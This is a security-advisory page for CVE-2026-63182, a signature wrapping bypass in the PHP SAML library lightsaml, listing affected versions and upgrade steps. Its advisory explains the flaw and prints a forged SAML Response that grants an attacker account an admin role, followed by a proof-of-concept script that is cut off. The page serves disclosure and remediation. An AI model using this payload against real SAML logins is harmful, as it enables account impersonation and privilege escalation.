high · 8.1 Patched

lightsaml allows Signature wrapping bypass

CVE-2026-63182 · GHSA-w553-pwx6-3mg9 · published 30 Oct 2026

How serious is it

  • Severity: high, CVSS score 8.1 out of 10.
  • No exploit prediction (EPSS) score yet.
  • Not on the CISA list of exploited vulnerabilities.
  • No public exploit in Exploit-DB.

Is your app affected by CVE-2026-63182?

Paste this prompt into Claude Code, Cursor or any AI coding tool: it runs a free Shippable scan of your project and fixes what it finds. Built with Lovable, Bolt or v0? Scan your live app. Or upload your package file.

Who is affected

  • litesaml/lightsaml (Packagist) >= 5.0.0, < 5.0.1
  • litesaml/lightsaml (Packagist) >= 4.0.0, < 4.7.1

How to check

  1. Run composer show litesaml/lightsaml in your project to see the installed version, including copies pulled in by other packages.
  2. Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.

How to fix

Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
  1. On >= 5.0.0, < 5.0.1: Upgrade litesaml/lightsaml to 5.0.1 or later, commit the lockfile and redeploy.
  2. On >= 4.0.0, < 4.7.1: Upgrade litesaml/lightsaml to 4.7.1 or later, commit the lockfile and redeploy.
  3. If a vulnerable version was live, check your logs and rotate the secrets that server could read.

The advisory

### Summary LightSaml 5.0.0 (latest release; also confirmed on 4.6.1) validates an inbound `samlp:Response` by collecting its direct-child `saml:Assertion` elements and validating each one's `ds:Signature` via robrichards/xmlseclibs. The two layers disagree on which element a signature actually covers: LightSaml reads claims from the assertion node it collected, while xmlseclibs resolves the signed `Reference URI="#id"` with a document-wide `//*[@Id]` XPath that returns the first ID-bearing element anywhere in the document. An attacker who has captured one genuine signed assertion can exploit this to surface attacker-authored, unsigned claims. ### Details `Response::deserialize` collects assertions with `manyElementsFromXml`, whose relative XPath `saml:Assertion` matches only direct children of the `Response`. Each collected assertion is validated independently by `AssertionSignatureValidatorAction` against the out-of-band trusted IdP credential (resolved by Issuer entityId, never from the document): https://github.com/litesaml/lightsaml/blob/5.0.0/src/Model/Protocol/Response.php#L122 https://github.com/litesaml/lightsaml/blob/5.0.0/src/Model/AbstractSamlModel.php#L93 https://github.com/litesaml/lightsaml/blob/5.0.0/src/Action/Assertion/Inbound/AssertionSignatureValidatorAction.php#L28 The check delegates to xmlseclibs `XMLSecurityDSig::validateReference()`, which first removes the signature node being validated from the shared document (enveloped-signature removal): ```php if (! $docElem->isSameNode($this->sigNode)) { if ($this->sigNode->parentNode != null) { $this->sigNode->parentNode->removeChild($this->sigNode); // strips sig from shared DOM } } ``` https://github.com/robrichards/xmlseclibs/blob/3.1.5/src/XMLSecurityDSig.php#L596 `processRefNode()` then resolves `URI="#id"` document-wide and takes `item(0)`, the first ID-bearing element in the whole document, any name or namespace, not the one inside the signature's own subtree: ```php $query = '//*['.$iDlist.']'; $dataObject = $xPath->query($query)->item(0); ``` https://github.com/robrichards/xmlseclibs/blob/3.1.5/src/XMLSecurityDSig.php#L525 So the digest target xmlseclibs picks (`//*[@Id]` item(0), anywhere) which isn't necessarily the one from the previous phase. LightSaml then reads claims (Subject/NameID, Conditions, Attributes) from the node it collected: https://github.com/litesaml/lightsaml/blob/5.0.0/src/Model/Assertion/Assertion.php#L288 An example attacker buries the genuine signed bytes (the assertion with its `ds:Signature` element stripped) inside `samlp:Extensions`, so it is the first `@Id` element in document order but not a direct-child assertion. Present one forged direct-child assertion with the same `ID`, attacker claims, and a verbatim copy of the genuine `ds:Signature`: ```xml <samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_resp" Version="2.0" IssueInstant="2024-01-01T00:00:00Z"> <saml:Issuer>https://idp.example.com</saml:Issuer> <!-- GENUINE signed bytes, buried in Extensions: first @Id document-wide (xmlseclibs picks this), but NOT a direct-child assertion (LightSaml ignores it). Signature element removed so the enveloped+exc-c14n digest target is the assertion sans Signature. --> <samlp:Extensions> <saml:Assertion ID="_signed_assertion" Version="2.0" IssueInstant="2024-01-01T00:00:00Z"> <saml:Issuer>https://idp.example.com</saml:Issuer> <saml:Subject><saml:NameID>alice@example.com</saml:NameID></saml:Subject> <saml:Conditions NotBefore="2024-01-01T00:00:00Z" NotOnOrAfter="2099-01-01T00:00:00Z"/> <saml:AttributeStatement><saml:Attribute Name="role"><saml:AttributeValue>user</saml:AttributeValue></saml:Attribute></saml:AttributeStatement> </saml:Assertion> </samlp:Extensions> <!-- FORGED: the ONLY direct-child assertion LightSaml collects. SAME ID, attacker claims, verbatim copy of the genuine ds:Signature. --> <saml:Assertion ID="_signed_assertion" Version="2.0" IssueInstant="2024-01-01T00:00:00Z"> <saml:Issuer>https://idp.example.com</saml:Issuer> <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"> ...byte-for-byte copy of the genuine signature... </ds:Signature> <saml:Subject><saml:NameID>attacker@evil.com</saml:NameID></saml:Subject> <saml:Conditions NotBefore="2040-01-01T00:00:00Z" NotOnOrAfter="2041-01-01T00:00:00Z"/> <saml:AttributeStatement><saml:Attribute Name="role"><saml:AttributeValue>admin</saml:AttributeValue></saml:Attribute></saml:AttributeStatement> </saml:Assertion> </samlp:Response> ``` ### PoC ```bash #!/usr/bin/env bash set -euo pipefail WORK="$(mktemp -d)"; trap 'rm -rf "$WORK"' EXIT; cd "$WORK" IDP_ENTITY="https://idp.example.com"; ASSERTION_ID="_signed_assertion" composer require litesaml/lightsaml:5.0.0 --no-interaction --quiet # trusted IdP key + self-signed cert (out-of-band trust anchor) openssl req -x509 -newkey rsa:2048 -keyout idp_key.pem -out idp_cert.pem -days 3650 -nodes \ -subj "/CN=idp.example.com" >/dev/null 2>&1 # genuine Response with one to-be-signed assertion cat > genuine_tmpl.xml <<XML <samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_resp" Version="2.0" IssueInstant="2024-01-01T00:00:00Z"> <saml:Issuer>${IDP_ENTITY}</saml:Issuer> <saml:Assertion ID="${ASSERTION_ID}" Version="2.0" IssueInstant="2024-01-01T00:00:00Z"> <saml:Issuer>${IDP_ENTITY}</saml:Issuer> <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"> <ds:SignedInfo> <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/> <ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/> <ds:Reference URI="#${ASSERTION_ID}"> <ds:Transforms> <ds:Transform Algorithm="http:…

Check your whole app

Dependencies are only half of it. Free and read-only: before you push, run npx shippable-dev scan localhost:3000 in your project folder, no account needed. For your live app, you prove it's yours with a one-line tag first.

References

Merged from GitHub Advisory Database, OSV, CVE List. Last updated 20 Nov 2026. All vulnerabilities · RSS · JSON